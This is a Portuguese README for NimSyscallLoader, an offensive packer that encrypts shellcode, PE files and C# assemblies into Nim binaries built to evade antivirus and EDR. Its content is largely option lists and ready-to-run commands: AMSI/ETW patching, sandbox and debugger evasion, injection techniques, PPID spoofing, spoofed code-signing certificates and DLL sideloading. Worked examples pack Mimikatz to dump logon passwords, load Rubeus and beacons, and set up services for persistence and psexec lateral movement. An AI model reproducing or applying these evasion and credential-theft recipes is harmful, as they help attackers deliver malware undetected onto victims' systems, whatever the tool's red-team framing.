
Empacota assemblies C#, arquivos PE ou shellcode em binários Nim criptografados com recursos avançados de evasão, incluindo bypass de AMSI/ETW, detecção de sandbox e múltiplas técnicas de injeção para operações de red team.
Esta ferramenta foi tornada pública após uma palestra no x33fcon. Foi meu projeto privado de codificação principal de 2021 a 2024 e agora é considerada obsoleta e não é mais mantida. Não espere correções de bugs ou atualizações de funcionalidades da minha parte. Em vez disso, o RustPack é mantido agora como uma versão comercial e controlada para Red Teams e Pentesters selecionados, que é ainda mais rica em funcionalidades, mas também muito mais segura em termos de OPSec.
Este Packer pode ser usado para empacotar qualquer Assembly C#, PE-File ou Shellcode em um binário Nim. Ele criptografará o payload alvo, construirá o código fonte Nim correspondente de acordo com os argumentos fornecidos e o compilará em um binário Nim.
Um Vídeo - se preferir - pode ser encontrado aqui: https://youtu.be/0PwIn3Nxmgo
O Git precisa estar instalado para que Nim/Nimble funcionem corretamente.
Testado com Nim 2.2.10 e o pacote MinGW-w64 GCC 11.1.0 vinculado à página de download do Nim para Windows. Versões mais recentes do Nim usam uma base de imagem PE alta no Windows por padrão, o que quebra links -static com relocation truncated to fit: R_X86_64_32S against .bss; o packer agora força -Wl,--image-base=0x10000 para manter builds estáticos funcionando, então qualquer build MinGW-w64 11.x deve funcionar. Apenas x64 é suportado aqui — x86/--x86/--wow64 não é mantido.
nim-2.2.10_x64.zipmingw64.7z (linked from the Nim Windows install page)Expand-Archive embutido do Windows — ele descarta silenciosamente lib\system.nim devido à colisão de maiúsculas/minúsculas com o diretório lib\system\). O zip do Nim inclui bin\7zG.exe que você pode usar para extrair o MinGW.<nim>\bin e <mingw64>\bin ao seu %PATH%. Faça logoff/logon (ou reinicie seu shell) para que a alteração tenha efeito.Versões conhecidas por funcionar (a partir de Nim 2.2.10): nimcrypto 0.6.0, docopt 0.7.1, ptr_math 0.3.0, winim 3.9.4, nim-strenc (HEAD — o repositório não tem lançamentos com tags).
Se quiser usar o ofuscador LLVM no Windows, use a versão modificada do denim incorporada do denim. Instale-a através de denim\denim.exe setup.
Ex. no Kali/Debian. O packer historicamente exigia nim 1.6.8 + mingw-64 8.0.0-1; com a solução alternativa de link estático --image-base=0x10000 agora incorporada, toolchains mais novos também devem funcionar. A build do Windows é a que é ativamente testada — Linux é best-effort.```bash
apt-get install nim mingw-w64
nimble install [email protected] docopt ptr_math winim https://github.com/S3cur3Th1sSh1t/nim-strenc/
Se `--hellsgate` falhar ao compilar em um mingw-w64 mais recente, faça o downgrade para `mingw-64=8.0.0-1`.
Instale o donut via `pip3 install donut-shellcode`. `denim` não pode ser usado a partir do Unix, portanto a ofuscação via LLVM não é possível aqui. O mesmo vale para o Callobfuscator.
Compile o Packer via `nim c -d:noRES NimSyscallLoader.nim`. Pronto para usar. Se você não usar -d:noRES, poderá obter o seguinte erro:```
/username/.nimble/pkgs/winim-3.7.1/winim/lib/winim64.res:(.rsrc+0x48): dangerous relocation: collect2: fatal error: ld terminated with signal 11 [Speicherzugriffsfehler]
compilation terminated.
Precisa ser construído uma vez (leva algum tempo na primeira vez, construções subsequentes serão armazenadas em cache).
sudo docker build . -t nimsyscallloader
Então execute o packer com:
sudo docker run -v $(pwd):/shared nimsyscallloader <ARGUMENTS> --output=/shared/packed.exe
onde $(pwd) é o diretório no sistema host que é compartilhado com o contêiner, ou seja, o diretório onde os arquivos a serem criptografados devem estar e onde a saída será salva.
Se você quiser usar certificados de assinatura de código via LimeLighter, também precisará das seguintes coisas instaladas e no seu %PATH%: openssl - (para Windows) por exemplo de aqui osslsigncode - por exemplo de aqui
Não darei suporte para problemas nas ferramentas de terceiros que são usadas aqui. Portanto, por favor, abra uma issue nos repositórios correspondentes se estiver enfrentando problemas com elas. Ferramentas de terceiros em uso:
Você pode usar meus binários pré-compilados ou, claro, compilá-los você mesmo a partir dos links acima.
Um vídeo - se preferir - pode ser encontrado aqui: https://youtu.be/UHaIgdzqHDA
Também adicionei vídeos curtos para alguns recursos, conforme solicitado:
Caro-Kann:
Recurso ThreadlessInject:
Recurso Module Stomping:
Recurso shellcodeURL:
Recurso stegoFile:
Recurso shellcodeFile:
Ruy Lopez para processos locais
Formato de saída shellcode
Recurso de saída Assembly
E fiz um vídeo público mostrando como personalizar a técnica ThreadlessInject para outros processos além do padrão:
https://youtu.be/BYuAUYQcI-E``` NimSyscall_Loader v 2.2
Usage: NimSyscall_Loader [--file=file_to_encrypt --key= --keyfile= --dnsKey --dnsdomain=<sub.example.com> --environmentalKey=<domain,username> --output= --large --metadata --shellcodeFile= --shellcodeURL= --dll --dllexportfunc= --dllhijack --noNimMain --clone= --dllProxy --cpl --xll --service --arguments=<Hardcoded_Arguments> --csharp --noAMSI --noETW --noOneShot --PatchAMSI --PatchETW --AMSIProviderPatch --AMSINtCreateSectionHook --sleep=<10> --sleep-in-between=<10> --shellcode --RWX --CallbackExecute --localCreateThread --QueueApc --noWait --COMVARETW --remoteinject --customprocess= --blockDLLs --spoofArgs= --parentProcess= --remoteprocess= --remotepatchAMSI --remotepatchETW --mapSection --unhook=<dllname1,dllname2> --reflective --obfuscate --macPayload --hide --APIhide --noArgs --peinject --peload --hellsgate --syswhispers --jump --sgn --replace --self-delete --sandbox=<check1,check2> --domain= --pump=<words,size> --obfuscatefunctions --debug --verbose --noDInvoke --x86 --wow64 --llvm --sign --signdomain= --noAntidebug --noDefaultSandBox --noAntiEmulate --sleepycrypt --fluctuate --interactivePS --psout --psobfs --pslyrics --csout --scout --sourceonly --jmpEntry --jmpEntryDLL=<example.dll> --jmpEntryFunc= --dripallocate --dripsleep= --stegofile= --ruy-lopez --threadless --threadlessDll=<dllname.dll> --threadlessFunc= --poolparty= --Caro-Kann --Caro-Kann-Thread --stomb --stombDll=<dllname.dll> --stombFunc= --stombFunc2= --restore] NimSyscall_Loader (-h | --help) NimSyscall_Loader --version
Options:
[general]
-h --help Show this screen. --version Show version. --file filename File to encrypt. --key key Key to encrypt with --keyfile keyfile File to read key from --dnsKey Use remote DNS TXT Record as key which is retrieved on runtime --dnsdomain sub.example.com Specify a subdomain to use for the DNS TXT Record --environmentalKey value Use environmental key (domain,username) to encrypt with domain -> enumerate the current domain on runtime and use that as key username -> enumerate the current username on runtime and use that as key --killdate yyyymmdd Specify an date, after which the payload won't get executed anymore --output filename Filename for encrypted exe/dll --arguments hardcodedArgs compile the following arguments to the encrypted exe/dll --metadata Set custom resource file information (cmd icon, CMD description, ntdll metadata for dlls by default) --noETW Don't use ETW Patch --noAMSI Don't patch AMSI --noArgs Don't provide any arguments to the assembly (some can only run without args) --hide Compile with --app:gui flag, so that the console won't pop up --APIhide Console won't pop up, hidden via API calls 'GetConsoleWindow' and 'ShowWindow' with 'SW_HIDE' --reflective Set compiler flags, so that the Loader Nim binary can be reflectively loaded --debug Compiles the binary in debug mode --x86 Compiles an x86 binary --wow64 (Compiles a x86 binary that can be used by x64 CPUs) --large use this for large payloads (bigger than 5MB) as you will get an error "interpretation requires too many iterations" without it --noDInvoke Don't use DInvoke - some older Windows OS Versions may crash when DInvoke is in use, e.g. Windows Server 2012. If you get "SIGSEGV: iilegal storage access. (Attempt to read from nil?)" try to use this option. --verbose Prints output to the console (for troubleshooting purposes) --psout Powershell Output format, reflectively loading the packed binary --psobfs Pre-obfuscated Powershell Template with Invoke-obfuscation. --pslyrics Add Lyrics as comments to avoid some more detections --csout C# Output format, reflectively loading the packed binary --scout Shellcode Output format, reflectively loading the packed binary via donut --sourceonly Dont compile but just create the source code and compile command --RWX Use RWX memory permissions for Shellcode and PE-Loading (instead of default RX) --service Create a Service binary or DLL, which can be used for Lateral Movement or Persistence --stegofile filepath Path to a .bmp or jpeg file in which the encrypted payload will be embedded
[Payload retrieval options]
By default, the Loader will embed the Payload into the output file. There are two alternatives to this: --shellcodeFile shellcodefileLocation(s) Filename to retrieve Payload from - on Runtime (No embedding). The first location will also be the output file location. You can specify multiple locations, separated by a comma. --shellcodeURL shellcodeURL URL to retrieve Payload from
[DLL options]
--dll Generate DLL instead of an executable --dllexportfunc exportfuncname Comma separated names of DLL custom export functions for e.g. DLL-Sideloading --dllhijack Add an DLLMain Export with DLL_PROCESS_ATTACH for Hijacking --perfectdllhijack Add DllMain and execute the Payload via "Perfect DLL Hijacking" to avoid LoaderLock issues (https://elliotonsecurity.com/perfect-dll-hijacking/) --noNimMain Remove NimMain export to avoid this IoC (Use "--dllhijack" in addition to instead export DllMain or alternatively "--dllexportfunc DllMain") --clone value Specify a local DLL to clone the API-Exports from via Koppeling --mutexoneshot Use a Mutex to ensure the payload is only executed once per process tree --dllProxy Generate a DLL-Proxying DLL - you need to put the legit DLL into the build directory. Two output DLLs will be generated: The proxy DLL and the randomly renamed legit DLL. (Credit to @byt3bl33d3r - https://github.com/byt3bl33d3r/NimDllSideload) --payloadFunction funcName The function to execute the Payload with to not use DllMain --noRandom Don't randomize the DLL-Name but forward to the original DLL instead (No need to copy the original DLL, only works for builtin windows DLLs) --cpl Generate a CPL file (Control Panel Applet) instead of an executable --xll Generate an XLL file (Excel Add-In) instead of an executable
[evasion]
--sleep 10 Sleep 10 seconds before decryption to evade memory scanners --sleep-in-between 10 Sleep 10 seconds at some potentially critical steps in between to evade memory scanners --COMVARETW Block ETW by setting COMPlus_ETWEnabled to 0 --unhook value Unhook the specified DLL before doing anything else for the current process --obfuscate Compile the Nim binary via Denim to make use of LLVM obfuscation --macPayload Convert the encrypted Shellcode to MAC-Adresses to reduce entropy (for embedded Payloads only) --sgn Encode shellcode via SGN before encrypting it --replace Replace common nim IoC's in the loader like the string 'nim' --noOneShot By default the Packer uses Hardware Breakpoints to bypass AMSI, but disables it after the payload has been executed. If you want to keep it enabled for the current Thread, use this option. --PatchAMSI Bypass AMSI by patching an offset of amsi.dll/AmsiScanBuffer via Syscalls --PatchETW Bypass ETW by patching ntdll.dll/NtTraceEvent via Syscalls --AMSIProviderPatch Patch all AMSI Providers instead of 'amsi.dll' (https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Korkos-AMSI-and-Bypass.pdf) --AMSINtCreateSectionHook Hook NtCreateSection to prevent 'amsi.dll' from being loaded (https://waawaa.github.io/es/amsi_bypass-hooking-NtCreateSection/) --sandbox value Include Sandbox Checks of your choice into the loader: Domain -> Only execute if the target domain is == the --domain parameter's domain / If --domain is not set, it will only execute on non-domain joined systems DomainJoined -> Only execute if the target is connected to ANY domain - you don't need to know the target's domain for this one DiskSpace -> Only execute if c:\ disk space >= 200GB MemorySpace -> Only execute if more than 4GB RAM available Emulated -> VirtualAllocExNuma API call (Some sandboxes do not emulate that) WindowChanges -> Checks, if the current Window has changed 7 or more times before executing the payload --domain targetdomain Specify a domain for SandBox Evasion --pump value Pump the file with: words -> english dictionary words to increase the reputation for "mashine learning" evasion (https://twitter.com/hardwaterhacker/status/1502425183331799043) reputation -> Pump reputation with strings from well known binaries e.g. Chrome,Cortana,Discord and some others --self-delete The loader deletes it's own executable on runtime (Credit to @byt3bl33d3r and @jonasLyk) --obfuscatefunctions Obfuscate some Nim specific Windows API's from the IAT via CallObfuscator (https://github.com/d35ha/CallObfuscator - only possible from a Windows OS) --sign Sign the binary with a spoofed certificate --signdomain www.example.com The domain to use for the certificate (default is ) --llvm Add compiler flags for LLVM obfuscation, you have to set it up by yourself --sleepycrypt Encrypt the memory of the loader with SleepyCrypt # experimental (Pre-Alpha, not working yet for C2-Stager) --fluctuate Enable ShellcodeFluctuation for local shellcode injection and PE-Loading (Alpha) - no support for remote injection This will only work for C2-Payloads, that use Win32 Sleep in between connection attempts, as that is hooked --noAntidebug Leave out AntiDebugger Checks --noDefaultSandBox Leave out default Sandbox Checks --noAntiEmulate Leave out AntiEmulation Checks --jmpEntry This option will enable a custom Shellcode Entrypoint from a DLL backed function to avoid unbacked memory as Thread/APC start address. The target function will be hooked with a JMP to the Shellcode --jmpEntryDLL value Specify a DLL to use for the custom Shellcode Entrypoint --jmpEntryFunc value Specify a function to use for the custom Shellcode Entrypoint --ruy-lopez Use Ruy-Lopez to prevent AV/EDR DLLs from being loaded into the local or newly spawned process. (Doesnt work for injection into existing processes)
[Syscall retrival technique to use, default is GetSyscallStub to retrievethe stubs from disk]
--hellsgate Retrieve Syscalls via Hellsgate technique --syswhispers Embed Syscalls via Syswhispers3 (NimLineWhispers3) technique --jump When using Syswhispers3, use the jumper_randomized technique
[shellcode specific]
--shellcode Encrypt shellcode to load it on runtime --dripallocate Allocate memory Driploader style (multiple small memory chunks after another to avoid memory scans after ETWti/Kernel Callback triggers) --dripsleep 500 Sleep time in ms between each memory allocation (e.G. 500 milisec) --CallbackExecute Execute shellcode via a custom Callback function --localCreateThread Use NtCreateThreadEx for local injection instead of a direct pointer to the shellcode --QueueApc Instead of a direct Pointer or Thread Creation execute the Shellcode via NtQueueApcThread --noWait Don't use 'WaitForSingleObject(-1,-1)' after local Injection but exit the process instead afterwards. If your Shellcode exits the Thread/Process itself, this will not have any effect. --mapSection Map the shellcode into via NtCreateSection/NtMapViewOfSection . For remote injection decryption will happen AFTER writing the Shellcode into the remote process --remoteinject Inject shellcode a newly spawned process (default notepad) / otherwise it's self injection --customprocess procname Spawn a custom process (instead of notepad) for remote injection --remoteprocess procname Injects into the specified (existing) remote process name, e.g. teams.exe. The loader searches for the first process with that name Can be used for multiple process names, e.g. --remoteprocess=teams.exe,iexplore.exe,MicrosoftEdge.exe -> First try teams, else Internet Explorer, last Edge --spoofArgs ArgstoSpoof Spoof the arguments of the process to inject into --parentProcess parentProcName Name of the parent Process to spoof (PPID Spoofing) --blockDLLs Set the DllBlocklistPolicy to 1 to prevent DLLs from being loaded --remotepatchAMSI Patch AMSI in the remote process before shellcode execution --remotepatchETW Patch ETW in the remote process before shellcode execution --threadless Use Threadless inject for shellcode execution (https://github.com/CCob/ThreadlessInject) --threadlessthread Use Threadless inject but the trampoline will create a thread instead of CALL to the target address (no impact on the target process but additional IoC) --threadlessDll dllname Specify a DLL to use for the Threadless inject hook --threadlessFunc dllfunc Specify a function to use for the Threadless inject hook --poolparty number Use Poolparty technique 1,2,3,4 for execution --conhostinject Inject into a remote conhost.exe process and trigger execution without Thread or APC or similar --Caro-Kann Use Caro-Kann technique to bypass initial memory scan detections by injecting a second shellcode which sleeps and decrypts (https://github.com/S3cur3Th1sSh1t/Caro-Kann) --Caro-Kann-Thread Same as Caro-Kann, but the Shellcode will not do a direct JMP but instead create a Thread on the start address --stomb Enable Module Stomping to not do memory allocations. By default, 'chakra.dll' is loaded and stomped. --stombDll dllname Specify a DLL to use for the Module Stomping (default is 'chakra.dll') --stombFunc dllfunc Specify a function to use for the Module Stomping --stombFunc2 dllfunc2 Specify a second function to use for the Module Stomping. Only needed if you combine Caro-Kann with Module Stomping as there are two shellcodes than --restore Using this option will restore the .text section of the stomped DLL after executing the shellcode. That way, you get rid of Module Stomp IoCs. But this option only works with Payloads, that are reflective DLLs or which create a new thread.
[PE Packing]
--peinject Encrypt a PE to decrypt and run it on runtime as shellcode via donut --peload Encrypt a PE to decrypt it on runtime and execute it via a syscall variant of Run-PE
[C# assembly Packing]
--csharp Encrypt a C# assembly to load it on runtime --interactivePS Load an interactive unmanaged Powershell Runspace
Por padrão, o Packer usa funcionalidades de evasão de SandBox e AntiDebug para cada Payload. Se você não quiser que elas sejam ativadas (por exemplo, para remover seus IoCs) ou por qualquer outro motivo, pode usar os flags `--noAntidebug` ou `--noDefaultSandBox`. Qualquer outra verificação de SandBox das opções será adicionada além das existentes e não como substituição.
Todos os Payloads são executados por padrão em uma região de memória `RX`. Alguns Payloads não funcionarão apenas com `READ_EXECUTE`. Para usar `RWX` em vez disso, você pode habilitar isso com o flag `--RWX`.
Além disso, por padrão, os Payloads são incorporados no binário resultante como um array criptografado. Isso leva a uma alta entropia e também pode levar a detecções por alguns fornecedores de AV/EDR devido a isso. Recomendo, em vez disso, usar `--shellcodeFile` ou `--shellcodeURL` para recuperar o Payload de um arquivo diferente ou servidor Web em tempo de execução. Isso também leva à evasão de SandBox como efeito colateral. Por exemplo, ao usar:```batch
NimSyscallLoader --file calc.bin --shellcodeFile test.txt --output test.exe
```, the encrypted Payload will be retrieved from `test.txt` on runtime. So this second file also needs to be placed onto the target system.
Se você não estiver com pressa, também recomendo usar as opções `--sleep numberOfSeconds` e/ou `--sleep-in-between numberOfSeconds` para qualquer Payload, pois isso levará a bypass de varredura de memória e/ou detecção baseada em comportamento.
Para empacotar o Mimikatz, por exemplo, com unhooking antes da execução e sem bypassar o AMSI, use o seguinte:```batch
NimSyscallLoader --file=mimikatz.exe --unhook --noAMSI --peinject
Alguns de vocês tiveram problemas ao carregar o Mimikatz com o packer através dos argumentos "--file=Mimikatz --peload" para depois emitir comandos personalizados em tempo de execução.
Encontrei a razão para esse comportamento. Não me pergunte porquê, mas não é possível simplesmente pegar o release do Github, é necessário compilar o Mimikatz por conta própria (ou criar uma versão personalizada) e carregar esta versão em vez da release oficial. Além disso, use --noAntidebug para o Mimikatz, pois caso contrário, tem resultados estranhos (não me pergunte porquê, outros PEs são carregados normalmente).
Se você ainda quiser incorporar a versão de release do github, pode passar argumentos diretamente assim:```batch Packedmimikatz.exe coffee exit
Você também pode definir argumentos fixos para payloads `--peload`, `--csharp` ou `--peinject`, por exemplo, o seguinte ajustaria os argumentos da linha de comando para serem `privilege::debug sekurlsa::logonpasswords exit`:```batch
NimSyscallLoader --file mimikatz.exe --peload --RWX --arguments "privilege::debug sekurlsa::logonpasswords exit" --noAntidebug
O shellcode Donut é detectado por alguns fornecedores de AV/EDR. Como alternativa para carregamento de PE, modifiquei meu Nim-RunPE para usar Syscalls para carregamento de PE e o integrei aqui:
Para empacotar o Mimikatz, por exemplo, e carregá-lo via carregador de PE por syscall, use o seguinte:```batch NimSyscallLoader --file=mimikatz.exe --peload --RWX (RWX is important here, as many binaries have problems being executed with only READ_EXECUTE permissions, which is default)
Para empacotar Shellcode para injeção local:```batch
NimSyscallLoader --file=shellcode.bin --noAMSI
Para carregar shellcode em um processo remoto:```batch NimSyscallLoader --file=shellcode.bin --noAMSI --remoteprocess=teams.exe
Para carregar um assembly C#:```batch
NimSyscallLoader --file=Seatbelt.exe --csharp
Para carregar um assembly C# com argumentos:```batch NimSyscallLoader --file=Rubeus.exe --csharp --arguments='hash /password:Aa1234'
Para carregar um assembly C# e usar o hellsgate para recuperação de Syscall :```batch
NimSyscallLoader --file=Seatbelt.exe --csharp --hellsgate
Para empacotar Shellcode para injeção local + uso hellsgate + auto-exclusão + verificações sandbox:```batch NimSyscallLoader --file=beacon.bin --hellsgate --self-delete --sandbox=DomainJoined,MemorySpace
Para adicionar vários milhares de palavras em inglês para contornar detecções de "Machine learning":```batch
NimSyscallLoader --file=Seatbelt.exe --csharp --pump=words
Para usar Syswhispers3 com/sem a técnica jumper_randomized:```batch NimSyscallLoader --file=calc.bin --syswhispers NimSyscallLoader --file=calc.bin --syswhispers --jump
Para codificar shellcode com sgn antes de criptografar:```batch
NimSyscallLoader --file=calc.bin --sgn
NimSyscallLoader --file=mimikatz.exe --peinject --sgn
Para criar um processo personalizado e injetar nele posteriormente + Patch no AMSI/ETW no processo remoto:```batch NimSyscallLoader --file=calc.bin --remoteinject --customprocess rundll32.exe --remotepatchAMSI --remotePatchETW
Para gerar uma DLL como saída em vez de um executável, basta adicionar o parâmetro `--dll`. Você também pode definir funções de exportação personalizadas via `--dllexportfunc Export1,ExportFunc2`. Essas exportações personalizadas também podem ser usadas para DLL sideloading.
Descrição do LLVM roubada de [https://github.com/icyguider/Nimcrypt2](https://github.com/icyguider/Nimcrypt2) - Ainda não testei isso pessoalmente!
**OPCIONAL:** Para usar a flag [Obfuscator-LLVM](https://github.com/heroims/obfuscator), você deve tê-lo instalado no seu sistema juntamente com [wclang](https://github.com/tpoechtrager/wclang). Achei isso um pouco trabalhoso, mas você deve conseguir fazer com um pouco de perseverança. Aqui está um passo a passo rápido que funcionou no meu sistema Kali Linux:
1. Clone a versão desejada do Obfuscator-LLVM e compile-a
2. Após a compilação, faça backup da versão existente do clang e mova a nova versão do Obfuscator-LLVM do clang para /usr/bin/
3. Instale o wclang e adicione seus binários ao seu PATH
4. Faça backup dos arquivos de biblioteca existentes do clang, copie as inclusões de biblioteca do Obfuscator-LLVM recém-construído para /usr/lib/clang/OLD_VERSION/
Além disso, você deve adicionar as seguintes linhas ao seu arquivo `nim.cfg` para apontar o nim para seus binários wclang:```
amd64.windows.clang.exe = "x86_64-w64-mingw32-clang"
amd64.windows.clang.linkerexe = "x86_64-w64-mingw32-clang"
amd64.windows.clang.cpp.exe = "x86_64-w64-mingw32-clang++"
amd64.windows.clang.cpp.linkerexe = "x86_64-w64-mingw32-clang++"
Binários de serviço não são executados dinamicamente. Eles podem apenas ser usados para Serviços do Windows. Portanto, se você estiver compilando um binário de serviço com --service, precisará criar um novo serviço com a localização desse binário. Isso pode ser feito, por exemplo, assim:```batch
sc.exe create Updater binpath="C:\windows\system32\service.exe"
sc.exe start Updater
Os binários do Packer também podem ser usados para Movimento Lateral via impacket-psexec:```
impacket-psexec muster.local/admin:password@IP -c service.exe -remote-binary-name service.exe -service-name lateralmovement
As DLLs de serviço precisam de configurações adicionais. Você pode ler o seguinte blog e precisa de algumas alterações no Registry:```batch sc.exe create Updater binPath= "c:\windows\System32\svchost.exe -k DcomLaunch" type= share start= auto reg add HKLM\SYSTEM\CurrentControlSet\services\Updater\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\windows\system32\service.dll /f
Além disso, o valor `Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost` - `DcomLaunch` precisa ser ajustado para também conter o nome do seu Serviço.
Se você está recebendo ERROR 1053 na inicialização do Serviço, provavelmente esqueceu a última entrada.
### Lidando com binários Golang com o Packer
Minha implementação personalizada `Nim-RUNPE` infelizmente não consegue lidar com binários GoLang no momento. Isso é algum bug estranho dentro do Nim, tenho que investigar mais profundamente em algum momento. Definitivamente um buraco de coelho, já gastei muito tempo.
Por enquanto, como solução alternativa, você pode usar `--peinject --large` para gerar shellcode a partir do binário golang para executá-lo localmente como executável ou DLL.
Exemplo:```batch
NimSyscallLoader --file chisel.exe --peinject --large --output ChiselPacked.exe
or
NimSyscallLoader --file chisel.exe --peinject --large --dll --arguments "client https://chisel-demo.herokuapp.com 3000" --output ChiselPacked.dll
Você precisa passar argumentos codificados permanentemente ao usar uma DLL, porque as DLLs do PEInject não aceitam argumentos do host de destino. A injeção remota também é possível, mas os argumentos não podem ser codificados permanentemente aqui.
O Defender detecta binários Golang empacotados no momento, com certeza por causa da entropia muito ALTA (grandes payloads, então o binário contém 95% ou mais de conteúdo criptografado). Para evitar essas detecções, use uma DLL ou --pump com qualquer valor.
Você pode gerar Payloads capazes de DLL-Sideloading com a flag --clone DLLName.
Por exemplo, o seguinte geraria um version.dll com as Exportações de API da version.dll original do Windows:```batch
NimSyscallLoader.exe --file C:\dontscan\calc64thread.bin --dll --clone C:\windows\system32\version.dll --output version.dll
Isso pode ser usado para vários binários legítimos assinados para Sideloading, como `OneDriveUpdater.exe`, `slllauncher.exe` e mais. Alguns pontos são importantes de notar e você deve cuidar deles:
* Usar Shellcode com Exitfunction=Process muito provavelmente causará uma falha no binário hospedeiro
* Usar injeção local levará a um binário que não inicia, pois a DLL não terminará a execução para Payloads C2
* Atualmente há um bug ou problema com payloads C# e Nim Sideloading. Esses payloads simplesmente não são executados quando executados localmente (`--csharp` ou `--peinject`), tenho que investigar
* Não recomendo usar Payloads de Sideloading de DLL Nim com Teams.exe - tive comportamentos estranhos com certas DLLs e o Teams não iniciava mais em muitos casos. Também é detectado por muitos fornecedores de EDR atualmente
* TESTE seus payloads antes de usá-los.
Reserve um tempo para pesquisar binários personalizados de Sideloading ou use alguns dos conhecidos e documentados de um local como [https://hijacklibs.net/](https://hijacklibs.net/).
### Imagens personalizadas ou metadados
Se você quiser usar ícones personalizados para seus executáveis de loader ou metadados personalizados, deve alterar o arquivo `cmd.rc` na pasta de recursos.
Isso pode ser compilado para um arquivo `cmd.o` via `windres cmd.rc -o cmd.o`. Você também pode simplesmente substituir o arquivo `demo.ico` por qualquer outro arquivo ICON que queira usar.
Para metadados de DLL, você pode alterar `DLL.rc`.
### Outras detecções de entropia ou evasão alternativa de SandBox
Alguns fornecedores, como a ESET, sinalizam binários/DLLs devido ao Payload criptografado estar no binário como um blob com alta entropia. Esses tipos de detecções e/ou verificações de SandBox podem ser contornados com as flags `--shellcodeFile` ou `--shellcodeURL`, pois o Payload não fica mais incorporado no binário resultante, mas é carregado de um arquivo separado ou de um servidor web remoto.
### ThreadlessInject - coisas para cuidar
Se você quiser usar ThreadlessInject - você deve saber o que está fazendo. Como ele faz hook de uma API no processo remoto, essa técnica precisa ser ajustada para cada processo remoto diferente. Você primeiro precisa saber quais APIs são tipicamente chamadas regularmente pelo processo remoto para saber o que hookear. Você pode, por exemplo, monitorar isso para processos comuns do Windows via [API Monitor](http://www.rohitab.com/apimonitor). Ajuste o hook para o seu processo alvo, ou o Payload não será executado.
Os valores padrão são úteis apenas para o alvo embutido spawn/inject `rundll32.exe`, pois este processo chama regularmente `NtWaitForMultipleObjects` de `ntdll.dll`. Outros processos também chamam esta função, mas a recomendação aqui é ajustar as opções para o seu processo alvo.
### Module Stomping - coisas para cuidar
Module Stomping nos dá a vantagem de não precisar mais alocar memória para injeção de shellcode, pois sobrescrevemos (uma parte) da seção `.text` de uma DLL já carregada. Se a DLL ainda não foi carregada no processo alvo remoto, ela será forçada a ser carregada primeiro através da criação de uma Thread remota em `LoadLibrary` ou ao usar ThreadlessInject através de um hook apontando para um LoadLibrary-Shellcode personalizado. Por padrão, a DLL `chakra.dll` é usada para Stomping, que na maioria dos casos é adequada devido ao seu tamanho. No entanto, você pode alterar a DLL através dos parâmetros do Packer como desejar.
Para evitar CFG, a implementação atual sobrescreve um (ou com Caro-Kann ativado dois) entrypoints da DLL:
- `JsRunScript`
- `MemProtectHeapUnprotectCurrentThread`
Se você alterar a DLL, também precisará alterar os nomes das funções alvo, pois elas podem não existir em outras DLLs. Além disso, pode ser um problema se houver:
1. Espaço insuficiente na seção `.text` da DLL alvo para o seu Shellcode
2. Espaço insuficiente entre as duas funções na seção `.text`, de modo que a primeira seja sobrescrita pela segunda
Meu código não lida com essas situações e atualmente não as verifica. Portanto, você deve verificar os tamanhos e offsets antes de usá-lo em produção para ter certeza.
Além disso, pode ser óbvio para alguns de vocês, mas servidores usam DLLs diferentes dos clientes. O Loader/Ferramenta, portanto, precisa ser ajustado ao mirar Servidores.
Esta implementação de Module Stomping também **não** carrega a DLL via `LoadLibraryEx` com `DONT_RESOLVE_DLL_REFERENCES`. Esta é a maneira mais instável de fazer isso, mas ainda assim implementei desta forma para me livrar de detecções de EDR para IoCs específicos deste uso de API.
Para mais informações, leia este post do blog:
- [https://bruteratel.com/release/2023/03/19/Release-Nightmare/](https://bruteratel.com/release/2023/03/19/Release-Nightmare/)
### Criptografia de memória
Atualmente, o Packer possui duas técnicas de criptografia de memória embutidas. São elas `--fluctuate` para ShellcodeFluctuation ou `--sleepycrypt` para SleepyCrypt.
ShellcodeFluctuation atualmente só pode ser usado para Payloads C2 que usam Win32 Sleep, pois ele faz hook desta função. Neste caso, apenas o Shellcode será criptografado na pilha toda vez que o implante dormir.
SleepyCrypt criptografará não apenas o Shellcode, mas toda a Pilha PE, ou seja, todas as suas seções. A desvantagem é que a criptografia é independente do seu implante e ocorrerá em um valor de tempo fixo, por exemplo, 10 segundos de criptografia e um segundo de tempo de execução. Isso pode levar a problemas de execução para alguns Frameworks C2.
### Por que meu MSF, CobaltStrike ou XxX ainda são sinalizados?
Leia isto:
[https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour/](https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour/)
## Bugs Conhecidos
- Usar `--hellsgate` em sistemas Linux com uma versão recente do mingw-gcc falhará ao compilar
- Compile o Packer no Linux/Debian com `-d:noRES` para evitar erros de compilação
- `--syswhispers --jump` em combinação com `--peload` resulta em uma falha. No momento, só posso recomendar não usar esta opção, pois não tenho ideia de onde vem esse efeito colateral
- `--obfuscate` não lida bem com ASM-Stubs e, portanto, não pode compilar binários com `--hellsgate` ou `--syswhispers`
- XP/WS2k3 só funcionará com as flags `--syswhispers --noAntidebug --noDInvoke`
- `--x86` / `--wow64` não é mais mantido e atualmente está quebrado com o toolchain MinGW-w64 incluído (não-multilib). Use builds x64.
- Linkers MinGW-w64 mais recentes (11+) padrão para uma base de imagem PE alta que quebra links `-static` com `relocation truncated to fit: R_X86_64_32S against .bss`. O packer agora passa `-Wl,--image-base=0x10000` para o comando de compilação do Loader gerado para contornar isso. Se você construir binários Nim+static independentes com esta pilha, pode precisar da mesma flag.
## A FAZER
- [x] PELoader via chamadas de sistema
- [x] Suporte Hellsgate
- [X] Carregar apenas as bibliotecas Winim necessárias
- [x] Patch remoto de AMSI/ETW em processo baseado em [SnD_AMSI](https://github.com/whydee86/SnD_AMSI)
- [X] Usar chamadas de sistema para patch remoto
- [X] Carregar remotamente a DLL "a ser patchada" (ntdll ou amsi.dll) no processo remoto antes do patch (caso contrário, não nos ajudará)
- [x] Suporte Hellsgate para injeção remota de shellcode + PELoading
- [X] Saída DLL
- [X] Capacidades de Sideloading de DLL
- [X] Saída Powershell
- [X] Saída C#
- [X] Mais chamadas de sistema e/ou D/Invoke para funções Win32
- [X] Integração Cobalt Strike - CNA
- [ ] Passagem de parâmetros via, por exemplo, manipulação do campo PEB (como Spoofing de linha de comando)
- [X] Passagem de parâmetros via patch de função de importação de API
- [X] Criptografia de memória do shellcode via Sleep Hook [como ShellcodeFluctuation](https://github.com/mgeeky/ShellcodeFluctuation)
